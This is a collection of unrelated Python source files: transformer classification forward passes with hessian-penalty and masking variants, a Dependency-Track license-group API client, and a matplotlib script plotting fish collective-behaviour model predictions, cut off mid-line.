import torch import torch.nn.functional as F from transformers import BertForSequenceClassification, RobertaForSequenceClassification from .utils import generate_random_mask from .hessian_penalty import hessian_penalty from torch.nn import CrossEntropyLoss ### # Forward Function ### # Forward function for sequence classification with hessian loss def forward_hessian_mask_sequence_classification(model, batch_data, i2w, dim_idx=0, device='cpu', **kwargs): # Unpack batch data if len(batch_data) == 4: (ids, subword_batch, mask_batch, label_batch) = batch_data token_type_batch = None elif len(batch_data) == 5: (ids, subword_batch, mask_batch, token_type_batch, label_batch) = batch_data # Prepare input & label subword_batch = torch.LongTensor(subword_batch) mask_batch = torch.FloatTensor(mask_batch) token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None label_batch = torch.LongTensor(label_batch) if device == "cuda": subword_batch = subword_batch.cuda() mask_batch = mask_batch.cuda() token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None label_batch = label_batch.cuda() # Forward model if isinstance(model, BertForSequenceClassification): raise NotImplementedError elif isinstance(model, RobertaForSequenceClassification): # Apply mask weight, bias = model.classifier.dense.weight, model.classifier.dense.bias dropout_mask_batch = generate_mask(dim_idx, weight.shape[0], weight.shape[1], device=device) masked_weight = weight.expand_as(dropout_mask_batch) * dropout_mask_batch # Calculate hessian loss latents = model.roberta(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch)[0][:,0,:] latents = model.classifier.dense(latents) latents[:,dim_idx] = 0 latents = torch.tanh(latents) # Calculate logits latents = model.classifier.dropout(latents) logits = model.classifier.out_proj(latents) # Calculate discriminator loss disc_loss = CrossEntropyLoss()(logits.view(-1, model.num_labels), label_batch.view(-1)) # Calculate total loss loss = disc_loss + (hess_weight * hess_loss) # print('disc, hess, tot', disc_loss.item(), hess_loss.item(), loss.item()) else: raise NotImplementedError(f'Model class `{type(model)}` is not implemented yet') # generate prediction & label list list_hyp = [] list_label = [] hyp = torch.topk(logits, 1)[1] for j in range(len(hyp)): list_hyp.append(i2w[hyp[j].item()]) list_label.append(i2w[label_batch[j][0].item()]) return loss, list_hyp, list_label, logits, label_batch # Forward function for sequence classification with hessian loss def forward_hessian_sequence_classification(model, batch_data, i2w, hess_weight=0.025, device='cpu', **kwargs): # Unpack batch data if len(batch_data) == 4: (ids, subword_batch, mask_batch, label_batch) = batch_data token_type_batch = None elif len(batch_data) == 5: (ids, subword_batch, mask_batch, token_type_batch, label_batch) = batch_data # Prepare input & label subword_batch = torch.LongTensor(subword_batch) mask_batch = torch.FloatTensor(mask_batch) token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None label_batch = torch.LongTensor(label_batch) if device == "cuda": subword_batch = subword_batch.cuda() mask_batch = mask_batch.cuda() token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None label_batch = label_batch.cuda() # Forward model if isinstance(model, BertForSequenceClassification): raise NotImplementedError elif isinstance(model, RobertaForSequenceClassification): # Apply mask weight, bias = model.classifier.dense.weight, model.classifier.dense.bias dropout_mask_batch = generate_random_mask(ids, weight.shape[0], weight.shape[1], device=device) masked_weight = weight.expand_as(dropout_mask_batch) * dropout_mask_batch # Calculate hessian loss latents = model.roberta(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch)[0][:,0,:] latents, hess_loss = hessian_penalty(model.classifier.dense, latents) latents = torch.tanh(latents) # Calculate logits latents = model.classifier.dropout(latents) logits = model.classifier.out_proj(latents) # Calculate discriminator loss disc_loss = CrossEntropyLoss()(logits.view(-1, model.num_labels), label_batch.view(-1)) # Calculate total loss loss = disc_loss + (hess_weight * hess_loss) # print('disc, hess, tot', disc_loss.item(), hess_loss.item(), loss.item()) else: raise NotImplementedError(f'Model class `{type(model)}` is not implemented yet') # generate prediction & label list list_hyp = [] list_label = [] hyp = torch.topk(logits, 1)[1] for j in range(len(hyp)): list_hyp.append(i2w[hyp[j].item()]) list_label.append(i2w[label_batch[j][0].item()]) return loss, list_hyp, list_label, logits, label_batch # Forward function for sequence classification with mask def forward_mask_sequence_classification(model, batch_data, i2w, apply_mask=False, device='cpu', **kwargs): # Unpack batch data if len(batch_data) == 4: (ids, subword_batch, mask_batch, label_batch) = batch_data token_type_batch = None elif len(batch_data) == 5: (ids, subword_batch, mask_batch, token_type_batch, label_batch) = batch_data # Prepare input & label subword_batch = torch.LongTensor(subword_batch) mask_batch = torch.FloatTensor(mask_batch) token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None label_batch = torch.LongTensor(label_batch) if device == "cuda": subword_batch = subword_batch.cuda() mask_batch = mask_batch.cuda() token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None label_batch = label_batch.cuda() # Forward model if apply_mask: if isinstance(model, BertForSequenceClassification): # Apply mask weight, bias = model.classifier.weight, model.classifier.bias dropout_mask_batch = generate_random_mask(ids, weight.shape[0], weight.shape[1], device=device) masked_weight = weight.expand_as(dropout_mask_batch) * dropout_mask_batch # Calculate latents latents = model.bert(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch)[1] latents = model.dropout(latents) # Compute result logits = torch.einsum('bd,bcd->bc', latents, masked_weight) + bias loss = CrossEntropyLoss()(logits.view(-1, model.num_labels), label_batch.view(-1)) elif isinstance(model, RobertaForSequenceClassification): # Apply mask weight, bias = model.classifier.out_proj.weight, model.classifier.out_proj.bias dropout_mask_batch = generate_random_mask(ids, weight.shape[0], weight.shape[1], device=device) masked_weight = weight.expand_as(dropout_mask_batch) * dropout_mask_batch # Calculate latents latents = model.roberta(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch)[0][:,0,:] latents = model.classifier.dense(latents) latents = model.classifier.dropout(latents) # Compute result logits = torch.einsum('bd,bcd->bc', latents, masked_weight) + bias loss = CrossEntropyLoss()(logits.view(-1, model.num_labels), label_batch.view(-1)) else: raise ValueError(f'Model class `{type(model)}` is not implemented yet') else: outputs = model(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch, labels=label_batch) loss, logits = outputs[:2] # generate prediction & label list list_hyp = [] list_label = [] hyp = torch.topk(logits, 1)[1] for j in range(len(hyp)): list_hyp.append(i2w[hyp[j].item()]) list_label.append(i2w[label_batch[j][0].item()]) return loss, list_hyp, list_label, logits, label_batch # Forward function for sequence classification def forward_sequence_classification(model, batch_data, i2w, is_test=False, device='cpu', **kwargs): if is_test: # Unpack batch data if len(batch_data) == 3: (ids, subword_batch, mask_batch) = batch_data token_type_batch = None elif len(batch_data) == 4: (ids, subword_batch, mask_batch, token_type_batch) = batch_data # Prepare input & label subword_batch = torch.LongTensor(subword_batch) mask_batch = torch.FloatTensor(mask_batch) token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None if device == "cuda": subword_batch = subword_batch.cuda() mask_batch = mask_batch.cuda() token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None # Forward model outputs = model(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch) logits = outputs[0] # generate prediction & label list list_hyp = [] hyp = torch.topk(logits, 1)[1] for j in range(len(hyp)): list_hyp.append(i2w[hyp[j].item()]) return list_hyp, logits else: # Unpack batch data if len(batch_data) == 4: (ids, subword_batch, mask_batch, label_batch) = batch_data token_type_batch = None elif len(batch_data) == 5: (ids, subword_batch, mask_batch, token_type_batch, label_batch) = batch_data # Prepare input & label subword_batch = torch.LongTensor(subword_batch) mask_batch = torch.FloatTensor(mask_batch) token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None label_batch = torch.LongTensor(label_batch) if device == "cuda": subword_batch = subword_batch.cuda() mask_batch = mask_batch.cuda() token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None label_batch = label_batch.cuda() # Forward model outputs = model(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch, labels=label_batch) loss, logits = outputs[:2] # generate prediction & label list list_hyp = [] list_label = [] hyp = torch.topk(logits, 1)[1] for j in range(len(hyp)): list_hyp.append(i2w[hyp[j].item()]) list_label.append(i2w[label_batch[j][0].item()]) return loss, list_hyp, list_label, logits, label_batch # Forward function for word classification def forward_word_classification(model, batch_data, i2w, is_test=False, device='cpu', **kwargs): # Unpack batch data if len(batch_data) == 4: (subword_batch, mask_batch, subword_to_word_indices_batch, label_batch) = batch_data token_type_batch = None elif len(batch_data) == 5: (subword_batch, mask_batch, token_type_batch, subword_to_word_indices_batch, label_batch) = batch_data # Prepare input & label subword_batch = torch.LongTensor(subword_batch) mask_batch = torch.FloatTensor(mask_batch) token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None subword_to_word_indices_batch = torch.LongTensor(subword_to_word_indices_batch) label_batch = torch.LongTensor(label_batch) if device == "cuda": subword_batch = subword_batch.cuda() mask_batch = mask_batch.cuda() token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None subword_to_word_indices_batch = subword_to_word_indices_batch.cuda() label_batch = label_batch.cuda() # Forward model outputs = model(subword_batch, subword_to_word_indices_batch, attention_mask=mask_batch, token_type_ids=token_type_batch, labels=label_batch) loss, logits = outputs[:2] # generate prediction & label list list_hyps = [] list_labels = [] hyps_list = torch.topk(logits, k=1, dim=-1)[1].squeeze(dim=-1) for i in range(len(hyps_list)): hyps, labels = hyps_list[i].tolist(), label_batch[i].tolist() list_hyp, list_label = [], [] for j in range(len(hyps)): if labels[j] == -100: break else: list_hyp.append(i2w[hyps[j]]) list_label.append(i2w[labels[j]]) list_hyps.append(list_hyp) list_labels.append(list_label) return loss, list_hyps, list_labels # Forward function for sequence multilabel classification def forward_sequence_multi_classification(model, batch_data, i2w, is_test=False, device='cpu', **kwargs): # Unpack batch data if len(batch_data) == 3: (subword_batch, mask_batch, label_batch) = batch_data token_type_batch = None elif len(batch_data) == 4: (subword_batch, mask_batch, token_type_batch, label_batch) = batch_data # Prepare input & label subword_batch = torch.LongTensor(subword_batch) mask_batch = torch.FloatTensor(mask_batch) token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None label_batch = torch.LongTensor(label_batch) if device == "cuda": subword_batch = subword_batch.cuda() mask_batch = mask_batch.cuda() token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None label_batch = label_batch.cuda() # Forward model outputs = model(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch, labels=label_batch) loss, logits = outputs[:2] # logits list<tensor(bs, num_label)> ~ list of batch prediction per class # generate prediction & label list list_hyp = [] list_label = [] hyp = [torch.topk(logit, 1)[1] for logit in logits] # list<tensor(bs)> batch_size = label_batch.shape[0] num_label = len(hyp) for i in range(batch_size): hyps = [] labels = label_batch[i,:].cpu().numpy().tolist() for j in range(num_label): hyps.append(hyp[j][i].item()) list_hyp.append([i2w[hyp] for hyp in hyps]) list_label.append([i2w[label] for label in labels]) return loss, list_hyp, list_label

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null

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8

e161129334afc08df28c8dd03c0091287b99151d

140

py

Python

modelscript/scripts/tasks/all.py

ScribesZone/ModelScribes

a36be1047283f2e470dc2dd4353f2a714377bb7d

[ "MIT" ]

1

2019-02-22T14:27:06.000Z

modelscript/scripts/tasks/all.py

ScribesZone/ModelScribes

a36be1047283f2e470dc2dd4353f2a714377bb7d

[ "MIT" ]

4

2015-12-18T10:30:02.000Z

2015-12-18T10:36:28.000Z

modelscript/scripts/tasks/all.py

ScribesZone/ModelScribes

a36be1047283f2e470dc2dd4353f2a714377bb7d

[ "MIT" ]

null

# coding=utf-8 import modelscript.scripts.tasks.parser import modelscript.scripts.tasks.printer import modelscript.scripts.tasks.graphviz

20

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8

e18c3a6af285a549501c4ebe4fd5fa36f130454c

4,686

py

Python

apicomponents/licensegroup.py

tonnyhideyori/dependencytrack-pywrap

58d4a8ac8862bbdb7007ab483f38f5871ab55c48

[ "MIT" ]

null

apicomponents/licensegroup.py

tonnyhideyori/dependencytrack-pywrap

58d4a8ac8862bbdb7007ab483f38f5871ab55c48

[ "MIT" ]

5

2021-11-18T20:35:12.000Z

2021-11-25T19:03:16.000Z

apicomponents/licensegroup.py

tonnyhideyori/dependencytrack-pywrap

58d4a8ac8862bbdb7007ab483f38f5871ab55c48

[ "MIT" ]

2

2021-11-15T19:58:15.000Z

2021-11-23T12:55:04.000Z

import json class DependencyTrackLicenseGroup(object): def list_licensegroups(self, pageSize=100): grouplist = list() pageNumber = 1 response = self.session.get( self.apicall + "/v1/licenseGroup", params={'pageSize': pageSize, 'pageNumber': pageNumber}) for group in range(0, len(response.json())): grouplist.append(response.json()[group-1]) while len(response.json()) == pageSize: pageNumber += 1 response = self.session.get( self.apicall + "/v1/licenseGroup", params={'pageSize': pageSize, 'pageNumber': pageNumber}) for group in range(0, len(response.json())): grouplist.append(response.json()[group-1]) if response.status_code == 200: return grouplist elif response.status_code == 401: return (f"Unauthorized, {response.status_code}") else: return (f"{(response.content).decode('utf-8')}, {response.status_code}") def get_licensegroup(self, uuid): response = self.session.get(self.apicall + f"/v1/licenseGroup/{uuid}") if response.status_code == 200: return response.json() elif response.status_code == 401: return (f"Unauthorized, {response.status_code}") else: return (f"{(response.content).decode('utf-8')}, {response.status_code}") def delete_licensegroup(self, uuid): """Delete a license group Args: uuid ([type]): The UUID of the license group to delete """ response = self.session.delete(self.apicall + f"/v1/licenseGroup/{uuid}") if response.status_code == 200: return "Successful operation" elif response.status_code == 401: return (f"Unauthorized, {response.status_code}") else: return (f"{(response.content).decode('utf-8')}, {response.status_code}") def remove_license_from_licensegroup(self, licensegroup,license): response = self.session.delete(self.apicall + f"/v1/licenseGroup/{licensegroup}/license/{license}") if response.status_code == 200: return "Successful operation" elif response.status_code == 401: return (f"Unauthorized, {response.status_code}") else: return (f"{(response.content).decode('utf-8')}, {response.status_code}") def add_license_to_group(self, licensegroup, license): response = self.session.post( self.apicall + f"/v1/licenseGroup/{licensegroup}/license/{license}") if response.status_code == 200: return "Successful operation" elif response.status_code == 401: return (f"Unauthorized, {response.status_code}") elif response.status_code == 304: return (f"The license group already has the specified license assigned, {response.status_code}") else: return (f"{(response.content).decode('utf-8')}, {response.status_code}") def create_licensegroup(self, name,licenses=None,riskWeight=0): data={'name':name, "riskWeight": riskWeight } if licenses : if isinstance(license,list): data['licenses']= licenses else: return "Error! Licenses should be a list" response = self.session.put(self.apicall + "/v1/licenseGroup",data=json.dumps(data)) if response.status_code == 201: return response.json() elif response.status_code == 401: return (f"Unauthorized, {response.status_code}") else: return (f"{(response.content).decode('utf-8')}, {response.status_code}") def update_licensegroup(self,uuid, name=None,licenses=None,riskWeight=None): data={"uuid": uuid} if name: data["name"]=name if licenses: if isinstance(license, list): data['licenses'] = licenses else: return "Error! Licenses should be a list" if riskWeight: data['risk_weight'] = riskWeight response = self.session.post(self.apicall +"/v1/licenseGroup", data=json.dumps(data)) if response.status_code == 200: return response.json() elif response.status_code == 401: return (f"Unauthorized, {response.status_code}") elif response.status_code == 304: return (f"The license group already has the specified license assigned, {response.status_code}") else: return (f"{(response.content).decode('utf-8')}, {response.status_code}")

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false

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null

0

1

0

1

0

null

0

7

e1a5ba84dbe4930b3d6425b9dab4171e5fc35e6e

93,228

py

Python

predictions_figures_argparse.py

maria-kuruvilla/temp_collective_new

c45b72cee7c17072507eb67790d1699f5684098a

[ "MIT" ]

null

predictions_figures_argparse.py

maria-kuruvilla/temp_collective_new

c45b72cee7c17072507eb67790d1699f5684098a

[ "MIT" ]

null

predictions_figures_argparse.py

maria-kuruvilla/temp_collective_new

c45b72cee7c17072507eb67790d1699f5684098a

[ "MIT" ]

null

""" Goal - pass argument to make figure with and without data Date - Mar 15 2021 """ import pandas as pd import matplotlib.pyplot as plt import numpy as np import pickle from matplotlib import cm import argparse import seaborn as sns #argparse def boolean_string(s): # this function helps with getting Boolean input if s not in ['False', 'True']: raise ValueError('Not a valid boolean string') return s == 'True' # note use of == # create the parser object parser = argparse.ArgumentParser() # NOTE: argparse will throw an error if: # - a flag is given with no value # - the value does not match the type # and if a flag is not given it will be filled with the default. parser.add_argument('-a', '--a_string', default='annd_after_loom_predictions.csv', type=str) #parser.add_argument('-s', '--a_string', default='annd_std', type=str) parser.add_argument('-b', '--integer_b', default=3, type=int) parser.add_argument('-c', '--float_c', default=1.5, type=float) parser.add_argument('-v', '--verbose', default=True, type=boolean_string) # Note that you assign a short name and a long name to each argument. # You can use either when you call the program, but you have to use the # long name when getting the values back from "args". # get the arguments args = parser.parse_args() ################################################################################# data1 = pd.read_csv('../../data/temp_collective/roi/'+args.a_string) data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv') gs = [1,2,4,8,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) #Plotting lw=2 fs=30 fig = plt.figure(figsize=(16,10)) ax = fig.add_subplot(111) count = 2 dpi = 100 text = '_low_res' if args.a_string=='annd_after_loom_predictions.csv': data1 = pd.read_csv('../../data/temp_collective/roi/annd_after_loom_predictions.csv') data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv') y_label = 'ANND (Body Length)' gs = [2,4,8,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) #Plotting if args.verbose==True: for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i], data2["annd"][data2.Groupsize == i], alpha = 0.5, color = colors[count], s =10) ax.plot( data1.temp[data1.gs == i][data1.date == 18106][data1.trial == 10], np.exp(data1.annd[data1.gs==i][data1.date == 18106][data1.trial == 10]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs == i][data1.date == 18106][data1.trial == 10], np.exp(data1.annd025[data1.gs==i][data1.date == 18106][data1.trial == 10]), np.exp(data1.annd975[data1.gs==i][data1.date == 18106][data1.trial == 10]), alpha = 0.3, color = colors[count], label = str(i),lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('ANND (BL)', size = fs) #ax.set_title('Groupsize = 16', fontsize = fs) legend = plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) plt.setp(legend.get_title(),fontsize='xx-large') ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/annd_after_loom_predictions_w_data_all_low_res.png' fig.savefig(out_dir, dpi = 100) plt.show() else: gs = [2,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) for i in gs: ax.plot( data1.temp[data1.gs == i][data1.date == 18106][data1.trial == 10], np.exp(data1.annd[data1.gs==i][data1.date == 18106][data1.trial == 10]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs == i][data1.date == 18106][data1.trial == 10], np.exp(data1.annd025[data1.gs==i][data1.date == 18106][data1.trial == 10]), np.exp(data1.annd975[data1.gs==i][data1.date == 18106][data1.trial == 10]), alpha = 0.3, color = colors[count],label = str(i), lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('ANND (BL)', size = fs) legend = plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) plt.setp(legend.get_title(),fontsize='xx-large') #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) plt.yticks(fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/annd_after_loom_predictions_wo_data_all_low_res.png' fig.savefig(out_dir, dpi = 100) plt.show() #model_glm_7 <- glm(startles_during_loom ~ I(Temperature^2) + Temperature + Groupsize + I(Groupsize^2) + Loom, family = poisson, data1) if args.a_string=='number_startles_predictions.csv': data1 = pd.read_csv('../../data/temp_collective/roi/number_startles_predictions.csv') data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv') gs = [1,2,4,8,16] loom = [1,5] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) #Plotting if args.verbose==True: for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1], data2["number_startles"][data2.Groupsize == i][data2.Loom == 1], alpha = 0.5, color = colors[count], s =10) ax.plot( data1.Temperature[data1.Groupsize == i][data1.Loom == 1], (data1.startles[data1.Groupsize ==i][data1.Loom == 1]), color = colors[count], label = str(i), lw = lw) ax.fill_between( data1.Temperature[data1.Groupsize == i][data1.Loom == 1], (data1.startles025[data1.Groupsize==i][data1.Loom == 1]), (data1.startles975[data1.Groupsize==i][data1.Loom == 1]), alpha = 0.3, color = colors[count]) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('Number of startles', size = fs) ax.set_title('Loom = 1', fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29]) out_dir = '../../output/temp_collective/roi_figures/predictions/startles_w_data_all.png' fig.savefig(out_dir, dpi = dpi) plt.show() else: gs = [16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) for i in gs: ax.plot( data1.Temperature[data1.Groupsize == i][data1.Loom == 1], (data1.startles[data1.Groupsize ==i][data1.Loom == 1]), color = colors[count], label = str(i), lw = lw) ax.fill_between( data1.Temperature[data1.Groupsize == i][data1.Loom == 1], (data1.startles025[data1.Groupsize ==i][data1.Loom == 1]), (data1.startles975[data1.Groupsize ==i][data1.Loom == 1]), alpha = 0.3, color = colors[count]) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('Number of startles', size = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) ax.set_title('Loom = 1', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29]) out_dir = '../../output/temp_collective/roi_figures/predictions/startles_predictions_wo_data.png' fig.savefig(out_dir, dpi = dpi) plt.show() #model_pois6 <- glm(latency ~ temp*gs + I(temp^2) + loom, family = quasipoisson, my_new_data2) if args.a_string=='latency_predictions.csv': data1 = pd.read_csv('../../data/temp_collective/roi/'+args.a_string) data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv') gs = [1,2,4,8,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) #Plotting if args.verbose==True: for i in gs: ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1], data2.latency[data2.Groupsize == i][data2.Loom == 1], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs== i][data1.loom == 1], (data1.pred[data1.gs==i][data1.loom == 1]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs== i][data1.loom == 1], (data1.lcb[data1.gs==i][data1.loom == 1]), (data1.ucb[data1.gs==i][data1.loom == 1]), alpha = 0.3, color = colors[count], label = str(i),lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('Latency', size = fs) #ax.set_title('Loom = 1', fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.yticks(ticks = [580,585,590,595], labels = [580,585,590,595],fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/latency_w_data.png' fig.savefig(out_dir, dpi = 100) plt.show() else: gs = [1,16] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2)) for i in gs: ax.plot( data1.temp[data1.gs== i][data1.loom == 1], (data1.pred[data1.gs==i][data1.loom == 1]), color = colors[count], lw = lw) ax.fill_between( data1.temp[data1.gs== i][data1.loom == 1], (data1.lcb[data1.gs==i][data1.loom == 1]), (data1.ucb[data1.gs==i][data1.loom == 1]), alpha = 0.3, color = colors[count], label = str(i),lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel('Latency', size = fs) #ax.set_title('Loom = 1', fontsize = fs) legend = plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) plt.setp(legend.get_title(),fontsize='xx-large') plt.yticks(ticks = [580,585,590,595], labels = [580,585,590,595],fontsize = fs) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs) out_dir = '../../output/temp_collective/roi_figures/predictions/latency_wo_data.png' fig.savefig(out_dir, dpi = 100) plt.show() #model_glm <- glm(hull ~ gs + temp*loom + I(temp^2) + date, my_data, family = "Gamma") if args.a_string=='hull_ratio_600_650_predictions.csv': data2 = pd.read_csv('../../data/temp_collective/roi/convex_hull_ratio_600_650w_loom.csv') data_hull = data2.convex_hull_area_600_650 gs = [16] loom = [1,5] colors = plt.cm.bone_r(np.linspace(0,1,len(loom)+2)) if args.verbose==True: for i in gs: for j in loom: ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == j], data_hull[data2.Groupsize == i][data2.Loom == j], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], (data1.hull[data1.gs==i][data1.loom == j][data1.date == 18106]), color = colors[count], label = str(j), lw = lw) ax.fill_between( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], (data1.hull025[data1.gs==i][data1.loom == j][data1.date == 18106]), (data1.hull975[data1.gs==i][data1.loom == j][data1.date == 18106]), alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Ratio of convex hull area during loom to \n convex hull area after loom', size = fs) ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29]) out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_ratio_w_data_loom_gs16.png' fig.savefig(out_dir, dpi = 300) plt.show() else: for i in gs: for j in loom: ax.plot( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], (data1.hull[data1.gs==i][data1.loom == j][data1.date == 18106]), color = colors[count], label = str(j), lw = lw) ax.fill_between( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], (data1.hull025[data1.gs==i][data1.loom == j][data1.date == 18106]), (data1.hull975[data1.gs==i][data1.loom == j][data1.date == 18106]), alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Ratio of convex hull area during loom to \n convex hull before after loom', size = fs) ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29]) out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_ratio_wo_data_loom_gs16.png' fig.savefig(out_dir, dpi = 300) plt.show() #hull ratio - during/before #model_lm <- lm(log(hull)~ log(gs,2) + I(temp^2) + loom + date, my_data) if args.a_string=='hull_ratio_600_650_predictions2.csv': data2 = pd.read_csv('../../data/temp_collective/roi/convex_hull_ratio_600_650w_loom.csv') data_hull = data2.convex_hull_area_ratio_loom gs = [4,8,16] loom = [1] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) count = 1 if args.verbose==True: for i in gs: for j in loom: ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == j], data_hull[data2.Groupsize == i][data2.Loom == j], s = 10, alpha = 0.5, color = colors[count]) ax.plot( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], np.exp(data1.hull[data1.gs==i][data1.loom == j][data1.date == 18106]), color = colors[count], label = str(i), lw = lw) ax.fill_between( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], np.exp(data1.hull025[data1.gs==i][data1.loom == j][data1.date == 18106]), np.exp(data1.hull975[data1.gs==i][data1.loom == j][data1.date == 18106]), alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Ratio of convex hull area during loom to \n convex hull before loom', size = fs) ax.set_title('Loom = '+str(loom[0]), fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29]) out_dir = '../../output/temp_collective/roi_figures/predictions/convex_hull_ratio_loom_w_data_loom1_gs_all.png' fig.savefig(out_dir, dpi = 300) plt.show() else: gs = [16] loom = [1] colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1)) count = 1 for i in gs: for j in loom: ax.plot( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], np.exp(data1.hull[data1.gs==i][data1.loom == j][data1.date == 18106]), color = colors[count], label = str(j), lw = lw) ax.fill_between( data1.temp[data1.gs== i][data1.loom == j][data1.date == 18106], np.exp(data1.hull025[data1.gs==i][data1.loom == j][data1.date == 18106]), np.exp(data1.hull975[data1.gs==i][data1.loom == j][data1.date == 18106]), alpha = 0.3, color = colors[count], lw = 0) count += 1 plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs) plt.ylabel( 'Ratio of convex hull area during loom to \n convex hull area after loom', size = fs) ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs) plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5) #ax.set_title('Interaction of temperature and groupsize', fontsize = fs) plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29]) out_dir = 